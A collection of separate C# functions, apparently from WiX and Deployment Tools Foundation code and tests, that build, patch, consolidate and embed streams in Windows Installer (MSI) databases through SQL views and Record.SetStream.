private void ImportSubStorages(Database db) { if (0 < this.Data.SubStorages.Count) { using (var storagesView = new View(db, "SELECT `Name`, `Data` FROM `_Storages`")) { foreach (var subStorage in this.Data.SubStorages) { var transformFile = Path.Combine(this.IntermediateFolder, String.Concat(subStorage.Name, ".mst")); // Bind the transform. var command = new BindTransformCommand(this.Messaging, this.BackendHelper, this.FileSystemManager, this.IntermediateFolder, subStorage.Data, transformFile, this.TableDefinitions); command.Execute(); if (this.Messaging.EncounteredError) { continue; } // Add the storage to the database. using (var record = new Record(2)) { record.SetString(1, subStorage.Name); record.SetStream(2, transformFile); storagesView.Modify(ModifyView.Assign, record); } } } } }
internal static void SetRecordField(Record record, object fieldValue, int index) { if (fieldValue == null) { record.set_StringData(index+1, ""); } else if (fieldValue is int) { record.set_IntegerData(index+1, (int) fieldValue); } else if (fieldValue is string) { record.set_StringData(index+1, (string) fieldValue); } else if (fieldValue is InstallerStream) { record.SetStream(index+1, ((InstallerStream) fieldValue).FilePath); } else { throw new ApplicationException("Unhandled type: " + fieldValue.GetType()); } }
private void CreateCustomActionProduct( string msiFile, string customActionFile, IList <string> customActions, bool sixtyFourBit) { using (Database db = new Database(msiFile, DatabaseOpenMode.CreateDirect)) { WindowsInstallerUtils.InitializeProductDatabase(db, sixtyFourBit); WindowsInstallerUtils.CreateTestProduct(db); if (!File.Exists(customActionFile)) { throw new FileNotFoundException(customActionFile); } using (Record binRec = new Record(2)) { binRec[1] = Path.GetFileName(customActionFile); binRec.SetStream(2, customActionFile); db.Execute("INSERT INTO `Binary` (`Name`, `Data`) VALUES (?, ?)", binRec); } using (Record binRec2 = new Record(2)) { binRec2[1] = "TestData"; binRec2.SetStream(2, new MemoryStream(Encoding.UTF8.GetBytes("This is a test data stream."))); db.Execute("INSERT INTO `Binary` (`Name`, `Data`) VALUES (?, ?)", binRec2); } for (int i = 0; i < customActions.Count; i++) { db.Execute( "INSERT INTO `CustomAction` (`Action`, `Type`, `Source`, `Target`) VALUES ('{0}', 1, '{1}', '{2}')", customActions[i], Path.GetFileName(customActionFile), customActions[i]); db.Execute( "INSERT INTO `InstallExecuteSequence` (`Action`, `Condition`, `Sequence`) VALUES ('{0}', '', {1})", customActions[i], 101 + i); } db.Execute("INSERT INTO `Property` (`Property`, `Value`) VALUES ('SampleCATest', 'TestValue')"); db.Commit(); } }
internal static void SetRecordField(Record record, object fieldValue, int index) { if (fieldValue == null) { record.set_StringData(index + 1, ""); } else if (fieldValue is int) { record.set_IntegerData(index + 1, (int)fieldValue); } else if (fieldValue is string) { record.set_StringData(index + 1, (string)fieldValue); } else if (fieldValue is InstallerStream) { record.SetStream(index + 1, ((InstallerStream)fieldValue).FilePath); } else { throw new ApplicationException("Unhandled type: " + fieldValue.GetType()); } }
public void EmbeddedUISingleInstall() { string dbFile = "EmbeddedUISingleInstall.msi"; string productCode; string uiDir = Path.GetFullPath(EmbeddedExternalUI.EmbeddedUISampleBinDir); string uiFile = "Microsoft.Deployment.Samples.EmbeddedUI.dll"; using (Database db = new Database(dbFile, DatabaseOpenMode.CreateDirect)) { WindowsInstallerUtils.InitializeProductDatabase(db); WindowsInstallerUtils.CreateTestProduct(db); productCode = db.ExecuteStringQuery("SELECT `Value` FROM `Property` WHERE `Property` = 'ProductCode'")[0]; using (Record uiRec = new Record(5)) { uiRec[1] = "TestEmbeddedUI"; uiRec[2] = Path.GetFileNameWithoutExtension(uiFile) + ".Wrapper.dll"; uiRec[3] = 1; uiRec[4] = (int)( EmbeddedExternalUI.TestLogModes | InstallLogModes.Progress | InstallLogModes.Initialize | InstallLogModes.Terminate | InstallLogModes.ShowDialog); uiRec.SetStream(5, Path.Combine(uiDir, uiFile)); db.Execute(db.Tables["MsiEmbeddedUI"].SqlInsertString, uiRec); } db.Commit(); } Installer.SetInternalUI(InstallUIOptions.Full); ProductInstallation installation = new ProductInstallation(productCode); Assert.IsFalse(installation.IsInstalled, "Checking that product is not installed before starting."); Exception caughtEx = null; try { Installer.EnableLog(EmbeddedExternalUI.TestLogModes, "install.log"); Installer.InstallProduct(dbFile, String.Empty); } catch (Exception ex) { caughtEx = ex; } Assert.IsNull(caughtEx, "Exception thrown while installing product: " + caughtEx); Assert.IsTrue(installation.IsInstalled, "Checking that product is installed."); Console.WriteLine(); Console.WriteLine(); Console.WriteLine(); Console.WriteLine("==================================================================="); Console.WriteLine(); Console.WriteLine(); Console.WriteLine(); try { Installer.EnableLog(EmbeddedExternalUI.TestLogModes, "uninstall.log"); Installer.InstallProduct(dbFile, "REMOVE=All"); } catch (Exception ex) { caughtEx = ex; } Assert.IsNull(caughtEx, "Exception thrown while uninstalling product: " + caughtEx); }
// This test does not pass if run normally. // It only passes when a failure is injected into the EmbeddedUI launcher. ////[TestMethod] public void EmbeddedUIInitializeFails() { string dbFile = "EmbeddedUIInitializeFails.msi"; string productCode; string uiDir = Path.GetFullPath(EmbeddedExternalUI.EmbeddedUISampleBinDir); string uiFile = "Microsoft.Deployment.Samples.EmbeddedUI.dll"; // A number that will be used to check whether a type 19 CA runs. const string magicNumber = "3.14159265358979323846264338327950"; using (Database db = new Database(dbFile, DatabaseOpenMode.CreateDirect)) { WindowsInstallerUtils.InitializeProductDatabase(db); WindowsInstallerUtils.CreateTestProduct(db); const string failureActionName = "EmbeddedUIInitializeFails"; db.Execute("INSERT INTO `CustomAction` (`Action`, `Type`, `Source`, `Target`) " + "VALUES ('{0}', 19, '', 'Logging magic number: {1}')", failureActionName, magicNumber); // This type 19 CA (launch condition) is given a condition of 'UILevel = 3' so that it only runs if the // installation is running in BASIC UI mode, which is what we expect if the EmbeddedUI fails to initialize. db.Execute("INSERT INTO `InstallExecuteSequence` (`Action`, `Condition`, `Sequence`) " + "VALUES ('{0}', 'UILevel = 3', 1)", failureActionName); productCode = db.ExecuteStringQuery("SELECT `Value` FROM `Property` WHERE `Property` = 'ProductCode'")[0]; using (Record uiRec = new Record(5)) { uiRec[1] = "TestEmbeddedUI"; uiRec[2] = Path.GetFileNameWithoutExtension(uiFile) + ".Wrapper.dll"; uiRec[3] = 1; uiRec[4] = (int)( EmbeddedExternalUI.TestLogModes | InstallLogModes.Progress | InstallLogModes.Initialize | InstallLogModes.Terminate | InstallLogModes.ShowDialog); uiRec.SetStream(5, Path.Combine(uiDir, uiFile)); db.Execute(db.Tables["MsiEmbeddedUI"].SqlInsertString, uiRec); } db.Commit(); } Installer.SetInternalUI(InstallUIOptions.Full); ProductInstallation installation = new ProductInstallation(productCode); Assert.IsFalse(installation.IsInstalled, "Checking that product is not installed before starting."); string logFile = "install.log"; Exception caughtEx = null; try { Installer.EnableLog(EmbeddedExternalUI.TestLogModes, logFile); Installer.InstallProduct(dbFile, String.Empty); } catch (Exception ex) { caughtEx = ex; } Assert.IsInstanceOfType(caughtEx, typeof(InstallerException), "Excpected InstallerException installing product; caught: " + caughtEx); Assert.IsFalse(installation.IsInstalled, "Checking that product is not installed."); string logText = File.ReadAllText(logFile); Assert.IsTrue(logText.Contains(magicNumber), "Checking that the type 19 custom action ran."); }
public void Execute() { // Add the _Validation rows. if (!this.SuppressAddingValidationRows) { var validationTable = this.Output.EnsureTable(this.TableDefinitions["_Validation"]); foreach (var table in this.Output.Tables) { if (!table.Definition.Unreal) { // Add the validation rows for this table. foreach (ColumnDefinition columnDef in table.Definition.Columns) { var row = validationTable.CreateRow(null); row[0] = table.Name; row[1] = columnDef.Name; if (columnDef.Nullable) { row[2] = "Y"; } else { row[2] = "N"; } if (columnDef.MinValue.HasValue) { row[3] = columnDef.MinValue.Value; } if (columnDef.MaxValue.HasValue) { row[4] = columnDef.MaxValue.Value; } row[5] = columnDef.KeyTable; if (columnDef.KeyColumn.HasValue) { row[6] = columnDef.KeyColumn.Value; } if (ColumnCategory.Unknown != columnDef.Category) { row[7] = columnDef.Category.ToString(); } row[8] = columnDef.Possibilities; row[9] = columnDef.Description; } } } } // Set the base directory. var baseDirectory = this.IntermediateFolder; if (this.UseSubDirectory) { string filename = Path.GetFileNameWithoutExtension(this.OutputPath); baseDirectory = Path.Combine(baseDirectory, filename); // make sure the directory exists Directory.CreateDirectory(baseDirectory); } var idtDirectory = Path.Combine(baseDirectory, "_idts"); Directory.CreateDirectory(idtDirectory); try { OpenDatabase type = OpenDatabase.CreateDirect; // set special flag for patch files if (OutputType.Patch == this.Output.Type) { type |= OpenDatabase.OpenPatchFile; } #if DEBUG Console.WriteLine("Opening database at: {0}", this.OutputPath); #endif // Localize the codepage if a value was specified directly. if (-1 != this.Codepage) { this.Output.Codepage = this.Codepage; } Directory.CreateDirectory(Path.GetDirectoryName(this.OutputPath)); using (Database db = new Database(this.OutputPath, type)) { // if we're not using the default codepage, import a new one into our // database before we add any tables (or the tables would be added // with the wrong codepage). if (0 != this.Output.Codepage) { this.SetDatabaseCodepage(db, this.Output.Codepage, idtDirectory); } foreach (Table table in this.Output.Tables) { Table importTable = table; bool hasBinaryColumn = false; // Skip all unreal tables other than _Streams. if (table.Definition.Unreal && "_Streams" != table.Name) { continue; } // Do not put the _Validation table in patches, it is not needed. if (OutputType.Patch == this.Output.Type && "_Validation" == table.Name) { continue; } // The only way to import binary data is to copy it to a local subdirectory first. // To avoid this extra copying and perf hit, import an empty table with the same // definition and later import the binary data from source using records. foreach (ColumnDefinition columnDefinition in table.Definition.Columns) { if (ColumnType.Object == columnDefinition.Type) { importTable = new Table(table.Definition); hasBinaryColumn = true; break; } } // Create the table via IDT import. if ("_Streams" != importTable.Name) { try { var command = new CreateIdtFileCommand(this.Messaging, importTable, this.Output.Codepage, idtDirectory, this.KeepAddedColumns); command.Execute(); var buildOutput = this.BackendHelper.TrackFile(command.IdtPath, TrackedFileType.Temporary); this.GeneratedTemporaryFiles.Add(buildOutput); db.Import(command.IdtPath); } catch (WixInvalidIdtException) { // If ValidateRows finds anything it doesn't like, it throws importTable.ValidateRows(); // Otherwise we rethrow the InvalidIdt throw; } } // insert the rows via SQL query if this table contains object fields if (hasBinaryColumn) { StringBuilder query = new StringBuilder("SELECT "); // Build the query for the view. bool firstColumn = true; foreach (ColumnDefinition columnDefinition in table.Definition.Columns) { if (!firstColumn) { query.Append(","); } query.AppendFormat(" `{0}`", columnDefinition.Name); firstColumn = false; } query.AppendFormat(" FROM `{0}`", table.Name); using (View tableView = db.OpenExecuteView(query.ToString())) { // Import each row containing a stream foreach (Row row in table.Rows) { using (Record record = new Record(table.Definition.Columns.Length)) { StringBuilder streamName = new StringBuilder(); bool needStream = false; // the _Streams table doesn't prepend the table name (or a period) if ("_Streams" != table.Name) { streamName.Append(table.Name); } for (int i = 0; i < table.Definition.Columns.Length; i++) { ColumnDefinition columnDefinition = table.Definition.Columns[i]; switch (columnDefinition.Type) { case ColumnType.Localized: case ColumnType.Preserved: case ColumnType.String: if (columnDefinition.PrimaryKey) { if (0 < streamName.Length) { streamName.Append("."); } streamName.Append((string)row[i]); } record.SetString(i + 1, (string)row[i]); break; case ColumnType.Number: record.SetInteger(i + 1, Convert.ToInt32(row[i], CultureInfo.InvariantCulture)); break; case ColumnType.Object: if (null != row[i]) { needStream = true; try { record.SetStream(i + 1, (string)row[i]); } catch (Win32Exception e) { if (0xA1 == e.NativeErrorCode) // ERROR_BAD_PATHNAME { throw new WixException(ErrorMessages.FileNotFound(row.SourceLineNumbers, (string)row[i])); } else { throw new WixException(ErrorMessages.Win32Exception(e.NativeErrorCode, e.Message)); } } } break; } } // stream names are created by concatenating the name of the table with the values // of the primary key (delimited by periods) // check for a stream name that is more than 62 characters long (the maximum allowed length) if (needStream && MsiInterop.MsiMaxStreamNameLength < streamName.Length) { this.Messaging.Write(ErrorMessages.StreamNameTooLong(row.SourceLineNumbers, table.Name, streamName.ToString(), streamName.Length)); } else // add the row to the database { tableView.Modify(ModifyView.Assign, record); } } } } // Remove rows from the _Streams table for wixpdbs. if ("_Streams" == table.Name) { table.Rows.Clear(); } } } // Insert substorages (usually transforms inside a patch or instance transforms in a package). if (0 < this.Output.SubStorages.Count) { using (View storagesView = new View(db, "SELECT `Name`, `Data` FROM `_Storages`")) { foreach (SubStorage subStorage in this.Output.SubStorages) { string transformFile = Path.Combine(this.IntermediateFolder, String.Concat(subStorage.Name, ".mst")); // Bind the transform. this.BindTransform(subStorage.Data, transformFile); if (this.Messaging.EncounteredError) { continue; } // add the storage using (Record record = new Record(2)) { record.SetString(1, subStorage.Name); record.SetStream(2, transformFile); storagesView.Modify(ModifyView.Assign, record); } } } } // We're good, commit the changes to the new database. db.Commit(); } } catch (IOException e) { // TODO: this error message doesn't seem specific enough throw new WixException(ErrorMessages.FileNotFound(new SourceLineNumber(this.OutputPath), this.OutputPath), e); } }
/// <summary> /// Method: dsAddEngine /// Description: This method is used to update a new file as a datastream into the msi file /// </summary> /// <param name="iFile"></param> /// <param name="iDSFile"></param> static void dsAddEngine(string iFile, string iDSFile) { try { copyrightBanner(); string dbRecords = String.Empty; //variable to hold the record values being read Console.ForegroundColor = ConsoleColor.White; Console.WriteLine("-: The Windows Installer Database provided is: " + iFile); Console.WriteLine("-: The Data Stream File to embedd is: " + iDSFile); if (disableBackup == 0) { Console.WriteLine("-: Back up Windows Installer Database file : " + iFile + " to " + iFile + ".bac"); Random rSeed = new Random(); int rSeedValue = rSeed.Next(0, 100); File.Copy(iFile, iFile + rSeedValue + ".bac"); Console.WriteLine("-: Backup Completed..."); } Console.WriteLine("-: Processing Data Streams, please wait..."); Console.WriteLine("-: Opening the Windows Installer Database File...\n"); //Get the Type for Windows Installer Type winInstallerType = Type.GetTypeFromProgID("WindowsInstaller.Installer"); //Create the windows installer object Installer winInstallerObj = (Installer)Activator.CreateInstance(winInstallerType); //Open the Database Database winInstallerDB = winInstallerObj.OpenDatabase(iFile, MsiOpenDatabaseMode.msiOpenDatabaseModeTransact); try { //Create a View and Execute it View winInstallerView = winInstallerDB.OpenView("SELECT `Name`, `Data` FROM _Streams"); Record winInstallerRecord = winInstallerObj.CreateRecord(2); winInstallerRecord.set_StringData(1, iDSFile); winInstallerView.Execute(winInstallerRecord); winInstallerRecord.SetStream(2, iDSFile); winInstallerView.Modify(MsiViewModify.msiViewModifyAssign, winInstallerRecord); winInstallerDB.Commit(); Console.WriteLine("-: The file " + iDSFile + " is now embedded into the MSI Data Streams."); } catch (System.Runtime.InteropServices.COMException ex) { Console.ForegroundColor = ConsoleColor.Red; Console.WriteLine("Error: There was an error opening the file : " + iDSFile, ex.Message); Console.ResetColor(); } } catch (System.IndexOutOfRangeException ex) { Console.ForegroundColor = ConsoleColor.Red; Console.WriteLine("Error: There was an error opening the file: " + iFile, ex.Message); Console.ResetColor(); } catch (System.Runtime.InteropServices.COMException ex) { Console.ForegroundColor = ConsoleColor.Red; Console.WriteLine("Error: There was an error opening the file: " + iFile, ex.Message); Console.ResetColor(); } }
/// <summary> /// Applies a patch package to the database, resulting in an installation package that /// has the patch built-in. /// </summary> /// <param name="patchPackage">The patch package to be applied</param> /// <param name="transform">Optional name of the specific transform to apply. /// This parameter is usually left null, which causes the patch to be searched for /// a transform that is valid to apply to this database.</param> /// <remarks> /// If the patch contains any binary file patches, they will not immediately be applied /// to the target files, though they will at installation time. /// <p>After calling this method you can use <see cref="Consolidate"/> to apply /// the file patches immediately and also discard any outdated files from the package.</p> /// </remarks> public void ApplyPatch(PatchPackage patchPackage, string transform) { if(patchPackage == null) throw new ArgumentNullException("patchPackage"); this.LogMessage("Applying patch file {0} to database {1}", patchPackage.FilePath, this.FilePath); if(transform == null) { this.LogMessage("No transform specified; searching for valid patch transform"); string[] validTransforms = patchPackage.GetValidTransforms(this); if(validTransforms.Length == 0) { this.LogMessage("No valid patch transform was found"); throw new InvalidOperationException("No valid patch transform was found."); } transform = validTransforms[0]; } this.LogMessage("Patch transform = {0}", transform); string patchPrefix = Path.GetFileNameWithoutExtension(patchPackage.FilePath) + "_"; string specialTransform = "#" + transform; Directory.CreateDirectory(this.TempDirectory); this.LogMessage("Extracting substorage {0}", transform); string transformFile = Path.Combine(this.TempDirectory, patchPrefix + Path.GetFileNameWithoutExtension(transform) + ".mst"); patchPackage.ExtractTransform(transform, transformFile); this.LogMessage("Extracting substorage {0}", specialTransform); string specialTransformFile = Path.Combine(this.TempDirectory, patchPrefix + Path.GetFileNameWithoutExtension(specialTransform) + ".mst"); patchPackage.ExtractTransform(specialTransform, specialTransformFile); if (this.Tables.Contains("Patch") && !this.Tables["Patch"].Columns.Contains("_StreamRef")) { if(this.CountRows("Patch") > 0) { this.LogMessage("Warning: non-empty Patch table exists without StreamRef_ column; " + "patch transform may fail"); } else { this.Execute("DROP TABLE `Patch`"); this.Execute("CREATE TABLE `Patch` (`File_` CHAR(72) NOT NULL, " + "`Sequence` INTEGER NOT NULL, `PatchSize` LONG NOT NULL, " + "`Attributes` INTEGER NOT NULL, `Header` OBJECT, `StreamRef_` CHAR(72) " + "PRIMARY KEY `File_`, `Sequence`)"); } } this.LogMessage("Applying transform {0} to database", transform); this.ApplyTransform(transformFile); this.LogMessage("Applying transform {0} to database", specialTransform); this.ApplyTransform(specialTransformFile); if (this.Tables.Contains("MsiPatchHeaders") && this.CountRows("MsiPatchHeaders") > 0 && (!this.Tables.Contains("Patch") || this.CountRows("Patch", "`StreamRef_` <> ''") == 0)) { this.LogMessage("Error: patch transform failed because of missing Patch.StreamRef_ column"); throw new InstallerException("Patch transform failed because of missing Patch.StreamRef_ column"); } IList<int> mediaIds = this.ExecuteIntegerQuery("SELECT `Media_` FROM `PatchPackage` " + "WHERE `PatchId` = '{0}'", patchPackage.PatchCode); if (mediaIds.Count == 0) { this.LogMessage("Warning: PatchPackage Media record not found -- " + "skipping inclusion of patch cabinet"); } else { int patchMediaDiskId = mediaIds[0]; IList<string> patchCabinets = this.ExecuteStringQuery("SELECT `Cabinet` FROM `Media` " + "WHERE `DiskId` = {0}", patchMediaDiskId); if(patchCabinets.Count == 0) { this.LogMessage("Patch cabinet record not found"); throw new InstallerException("Patch cabinet record not found."); } string patchCabinet = patchCabinets[0]; this.LogMessage("Patch cabinet = {0}", patchCabinet); if(!patchCabinet.StartsWith("#", StringComparison.Ordinal)) { this.LogMessage("Error: Patch cabinet must be embedded"); throw new InstallerException("Patch cabinet must be embedded."); } patchCabinet = patchCabinet.Substring(1); string renamePatchCabinet = patchPrefix + patchCabinet; const int HIGH_DISKID = 30000; // Must not collide with other patch media DiskIDs int renamePatchMediaDiskId = HIGH_DISKID; while (this.CountRows("Media", "`DiskId` = " + renamePatchMediaDiskId) > 0) renamePatchMediaDiskId++; // Since the patch cab is now embedded in the MSI, it shouldn't have a separate disk prompt/source this.LogMessage("Renaming the patch media record"); int lastSeq = Convert.ToInt32(this.ExecuteScalar("SELECT `LastSequence` FROM `Media` WHERE `DiskId` = {0}", patchMediaDiskId)); this.Execute("DELETE FROM `Media` WHERE `DiskId` = {0}", patchMediaDiskId); this.Execute("INSERT INTO `Media` (`DiskId`, `LastSequence`, `Cabinet`) VALUES ({0}, '{1}', '#{2}')", renamePatchMediaDiskId, lastSeq, renamePatchCabinet); this.Execute("UPDATE `PatchPackage` SET `Media_` = {0} WHERE `PatchId` = '{1}'", renamePatchMediaDiskId, patchPackage.PatchCode); this.LogMessage("Copying patch cabinet: {0}", patchCabinet); string patchCabFile = Path.Combine(this.TempDirectory, Path.GetFileNameWithoutExtension(patchCabinet) + ".cab"); using(View streamView = patchPackage.OpenView("SELECT `Name`, `Data` FROM `_Streams` " + "WHERE `Name` = '{0}'", patchCabinet)) { streamView.Execute(); Record streamRec = streamView.Fetch(); if(streamRec == null) { this.LogMessage("Error: Patch cabinet not found"); throw new InstallerException("Patch cabinet not found."); } using(streamRec) { streamRec.GetStream(2, patchCabFile); } } using(Record patchCabRec = new Record(2)) { patchCabRec[1] = patchCabinet; patchCabRec.SetStream(2, patchCabFile); this.Execute("INSERT INTO `_Streams` (`Name`, `Data`) VALUES (?, ?)", patchCabRec); } this.LogMessage("Ensuring PatchFiles action exists in InstallExecuteSequence table"); if (this.Tables.Contains("InstallExecuteSequence")) { if(this.CountRows("InstallExecuteSequence", "`Action` = 'PatchFiles'") == 0) { IList<int> installFilesSeqList = this.ExecuteIntegerQuery("SELECT `Sequence` " + "FROM `InstallExecuteSequence` WHERE `Action` = 'InstallFiles'"); short installFilesSeq = (short) (installFilesSeqList.Count != 0 ? installFilesSeqList[0] : 0); this.Execute("INSERT INTO `InstallExecuteSequence` (`Action`, `Sequence`) " + "VALUES ('PatchFiles', {0})", installFilesSeq + 1); } } // Patch-added files need to be marked always-compressed this.LogMessage("Adjusting attributes of patch-added files"); using(View fileView = this.OpenView("SELECT `File`, `Attributes`, `Sequence` " + "FROM `File` ORDER BY `Sequence`")) { fileView.Execute(); foreach (Record fileRec in fileView) using(fileRec) { int fileAttributes = fileRec.GetInteger(2); if ((fileAttributes & (int) Microsoft.Deployment.WindowsInstaller.FileAttributes.PatchAdded) != 0) { fileAttributes = (fileAttributes | (int) Microsoft.Deployment.WindowsInstaller.FileAttributes.Compressed) & ~(int) Microsoft.Deployment.WindowsInstaller.FileAttributes.NonCompressed & ~(int) Microsoft.Deployment.WindowsInstaller.FileAttributes.PatchAdded; fileRec[2] = fileAttributes; fileView.Update(fileRec); } } } } this.LogMessage("Applying new summary info from patch package"); this.SummaryInfo.RevisionNumber = this.Property["PATCHNEWPACKAGECODE"]; this.SummaryInfo.Subject = this.Property["PATCHNEWSUMMARYSUBJECT"]; this.SummaryInfo.Comments = this.Property["PATCHNEWSUMMARYCOMMENTS"]; this.SummaryInfo.Persist(); this.Property["PATCHNEWPACKAGECODE" ] = null; this.Property["PATCHNEWSUMMARYSUBJECT" ] = null; this.Property["PATCHNEWSUMMARYCOMMENTS"] = null; this.LogMessage("Patch application finished"); }
/// <summary> /// Consolidates a package by combining and re-compressing all files into a single /// internal or external cabinet. /// </summary> /// <param name="mediaCabinet"></param> /// <remarks>If an installation package was built from many merge modules, this /// method can somewhat decrease package size, complexity, and installation time. /// <p>This method will also convert a package with all or mostly uncompressed /// files into a package where all files are compressed.</p> /// <p>If the package contains any not-yet-applied binary file patches (for /// example, a package generated by a call to <see cref="ApplyPatch"/>) then /// this method will apply the patches before compressing the updated files.</p> /// <p>This method edits the database summary information and the File, Media /// and Patch tables as necessary to maintain a valid installation package.</p> /// <p>The cabinet compression level used during re-cabbing can be configured with the /// <see cref="CompressionLevel"/> property.</p> /// </remarks> public void Consolidate(string mediaCabinet) { this.LogMessage("Consolidating package"); Directory.CreateDirectory(this.TempDirectory); this.LogMessage("Extracting/preparing files"); this.ProcessFilesByMediaDisk(null, new ProcessFilesOnOneMediaDiskHandler(this.PrepareOneMediaDiskForConsolidation)); this.LogMessage("Applying any file patches"); ApplyFilePatchesForConsolidation(); this.LogMessage("Clearing PatchPackage, Patch, MsiPatchHeaders tables"); if (this.Tables.Contains("PatchPackage")) { this.Execute("DELETE FROM `PatchPackage` WHERE `PatchId` <> ''"); } if (this.Tables.Contains("Patch")) { this.Execute("DELETE FROM `Patch` WHERE `File_` <> ''"); } if (this.Tables.Contains("MsiPatchHeaders")) { this.Execute("DELETE FROM `MsiPatchHeaders` WHERE `StreamRef` <> ''"); } this.LogMessage("Resequencing files"); ArrayList files = new ArrayList(); using(View fileView = this.OpenView("SELECT `File`, `Attributes`, `Sequence` " + "FROM `File` ORDER BY `Sequence`")) { fileView.Execute(); foreach (Record fileRec in fileView) using(fileRec) { files.Add(fileRec[1]); int fileAttributes = fileRec.GetInteger(2); fileAttributes &= ~(int) (Microsoft.Deployment.WindowsInstaller.FileAttributes.Compressed | Microsoft.Deployment.WindowsInstaller.FileAttributes.NonCompressed | Microsoft.Deployment.WindowsInstaller.FileAttributes.PatchAdded); fileRec[2] = fileAttributes; fileRec[3] = files.Count; fileView.Update(fileRec); } } bool internalCab = false; if(mediaCabinet.StartsWith("#", StringComparison.Ordinal)) { internalCab = true; mediaCabinet = mediaCabinet.Substring(1); } this.LogMessage("Cabbing files"); string[] fileKeys = (string[]) files.ToArray(typeof(string)); string cabPath = Path.Combine(internalCab ? this.TempDirectory : this.WorkingDirectory, mediaCabinet); this.cabName = mediaCabinet; this.cabMsg = "compress {0}\\{1}"; new CabInfo(cabPath).PackFiles(this.TempDirectory, fileKeys, fileKeys, this.CompressionLevel, this.CabinetProgress); this.DeleteEmbeddedCabs(); if(internalCab) { this.LogMessage("Inserting cab stream into MSI"); Record cabRec = new Record(1); cabRec.SetStream(1, cabPath); this.Execute("INSERT INTO `_Streams` (`Name`, `Data`) VALUES ('" + mediaCabinet + "', ?)", cabRec); } this.LogMessage("Inserting cab media record into MSI"); this.Execute("DELETE FROM `Media` WHERE `DiskId` <> 0"); this.Execute("INSERT INTO `Media` (`DiskId`, `LastSequence`, `Cabinet`) " + "VALUES (1, " + files.Count + ", '" + (internalCab ? "#" : "") + mediaCabinet + "')"); this.LogMessage("Setting compressed flag on package summary info"); this.SummaryInfo.WordCount = this.SummaryInfo.WordCount | 2; this.SummaryInfo.Persist(); }
private void UpdateFilesOnOneMediaDisk(string mediaCab, InstallPathMap compressedFileMap, InstallPathMap uncompressedFileMap) { if(compressedFileMap.Count > 0) { string cabFile = null; bool cabFileIsTemp = false; if(mediaCab.StartsWith("#", StringComparison.Ordinal)) { cabFileIsTemp = true; mediaCab = mediaCab.Substring(1); using(View streamView = this.OpenView("SELECT `Name`, `Data` FROM `_Streams` " + "WHERE `Name` = '{0}'", mediaCab)) { streamView.Execute(); Record streamRec = streamView.Fetch(); if(streamRec == null) { this.LogMessage("Stream not found: {0}", mediaCab); throw new InstallerException("Stream not found: " + mediaCab); } using(streamRec) { this.LogMessage("extract cab {0}", mediaCab); Directory.CreateDirectory(this.TempDirectory); cabFile = Path.Combine(this.TempDirectory, Path.GetFileNameWithoutExtension(mediaCab) + ".cab"); streamRec.GetStream("Data", cabFile); } } } else { cabFile = Path.Combine(this.SourceDirectory, mediaCab); } CabInfo cab = new CabInfo(cabFile); ArrayList fileKeyList = new ArrayList(); foreach (CabFileInfo fileInCab in cab.GetFiles()) { string fileKey = fileInCab.Name; if(this.Files[fileKey] != null) { fileKeyList.Add(fileKey); } } string[] fileKeys = (string[]) fileKeyList.ToArray(typeof(string)); Directory.CreateDirectory(this.TempDirectory); ArrayList remainingFileKeys = new ArrayList(fileKeys); foreach(string fileKey in fileKeys) { InstallPath fileInstallPath = compressedFileMap[fileKey]; if(fileInstallPath != null) { UpdateFileStats(fileKey, fileInstallPath); string filePath = Path.Combine(this.WorkingDirectory, fileInstallPath.SourcePath); this.LogMessage("copy {0} {1}", filePath, fileKey); File.Copy(filePath, Path.Combine(this.TempDirectory, fileKey), true); remainingFileKeys.Remove(fileKey); } } if(remainingFileKeys.Count > 0) { this.cabName = mediaCab; this.cabMsg = "extract {0}\\{1}"; string[] remainingFileKeysArray = (string[]) remainingFileKeys.ToArray(typeof(string)); cab.UnpackFiles(remainingFileKeysArray, this.TempDirectory, remainingFileKeysArray, this.CabinetProgress); } ClearReadOnlyAttribute(this.TempDirectory, fileKeys); if(!cabFileIsTemp) { cab = new CabInfo(Path.Combine(this.WorkingDirectory, mediaCab)); } this.cabName = mediaCab; this.cabMsg = "compress {0}\\{1}"; cab.PackFiles(this.TempDirectory, fileKeys, fileKeys, this.CompressionLevel, this.CabinetProgress); if(cabFileIsTemp) { Record streamRec = new Record(1); streamRec.SetStream(1, cabFile); this.Execute(String.Format( "UPDATE `_Streams` SET `Data` = ? WHERE `Name` = '{0}'", mediaCab), streamRec); } } foreach (KeyValuePair<string, InstallPath> entry in uncompressedFileMap) { UpdateFileStats((string) entry.Key, (InstallPath) entry.Value); } }
private static void UpdateMediaCab(Database msiDb, string folderToPack, int lastSequence) { string tempFileName = Path.GetTempFileName(); if (File.Exists(tempFileName)) { File.Delete(tempFileName); } string cabFileName = Path.ChangeExtension(tempFileName, ".cab"); new CabInfo(cabFileName).Pack(folderToPack); Directory.Delete(folderToPack, true); var list = new List <string>(); using (View view = msiDb.OpenView("SELECT `File` FROM `File`", new object[0])) { view.Execute(); Record record; while ((record = view.Fetch()) != null) { using (record) list.Add((string)record[1]); } list.Sort(); } using (View view = msiDb.OpenView("SELECT `File`, `Sequence` FROM `File`", new object[0])) { view.Execute(); for (Record record = view.Fetch(); record != null; record = view.Fetch()) { using (record) { record[2] = list.IndexOf((string)record[1]) + 1; view.Update(record); } } } string cabinet; using (View view = msiDb.OpenView("SELECT `LastSequence`, `Cabinet` FROM `Media` WHERE `DiskId` = {0}", new object[] { 1 })) { view.Execute(); Record record = view.Fetch(); if (record == null) { throw new InstallerException("Media for DiskID=1 is not found: "); } using (record) { cabinet = (string)record[2]; record[1] = lastSequence; view.Update(record); } } using (View view = msiDb.OpenView("SELECT `Name`, `Data` FROM `_Streams` WHERE `Name` = '{0}'", new object[] { cabinet.Substring(1) })) { view.Execute(); Record record = view.Fetch(); using (record) { record.SetStream("Data", cabFileName); view.Update(record); } } }
